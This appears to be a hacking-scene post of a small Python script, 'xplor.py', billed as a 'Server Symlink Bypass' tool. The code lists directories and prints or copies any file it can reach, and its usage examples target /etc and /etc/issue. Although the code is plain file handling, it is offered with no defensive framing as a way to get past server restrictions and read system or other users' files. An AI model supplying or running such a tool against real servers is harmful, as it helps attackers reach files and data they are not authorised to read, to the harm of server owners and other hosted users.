xplor.py , Server Symlink Bypass - FlashcRew.In

    #!/usr/bin/env python
    # devilzc0de.org (c) 2012
    import sys
    import os
     
    def copyfile(source, dest, buffer_size=1024*1024):
        if not hasattr(source, 'read'):
            source = open(source, 'rb')
        if not hasattr(dest, 'write'):
            dest = open(dest, 'wb')
        while 1:
            copy_buffer = source.read(buffer_size)
            if copy_buffer:
                dest.write(copy_buffer)
            else:
                break
        source.close()
        dest.close()
     
    if __name__=="__main__":
            if not len(sys.argv) == 3 and not len(sys.argv) == 2:
                    sys.stdout.write('usage : python ' + os.path.basename(sys.argv[0]) + ' [path to dir/file] [path to save file]\r\n')
                    sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc\r\n')
                    sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue\r\n')
                    sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue issue_new_copy\r\n')
                    sys.exit(1)
           
            target = sys.argv[1].replace("\\","/")
            if os.path.isdir(target):
                    if not target.endswith("/"):
                            target = target + "/"
                    dir = os.listdir(target)
                    for d in dir:
                            fs = ""
                            if os.path.isdir(target + d):
                                    fs = "[ DIR ]"
                            elif os.path.isfile(target + d):
                                    fs = os.path.getsize(target + d)
                                    fs = str(fs)
                                   
                            sys.stdout.write(fs.rjust(12, " ") + " " + d + "\r\n")
            elif os.path.isfile(target):
                    if len(sys.argv) == 3:
                            copyfile(target, sys.argv[2])
                    else:
                            f = open(target, "rb")
                            try:
                                    byte = f.read(1024)
                                    sys.stdout.write(byte)
                                    sys.stdout.flush()
                                    while byte != "":
                                            byte = f.read(1024)
                                            sys.stdout.write(byte)
                                            sys.stdout.flush()
                            finally:
                                    f.close()
            else:
                    sys.stdout.write("Can't found file or folder : " + target)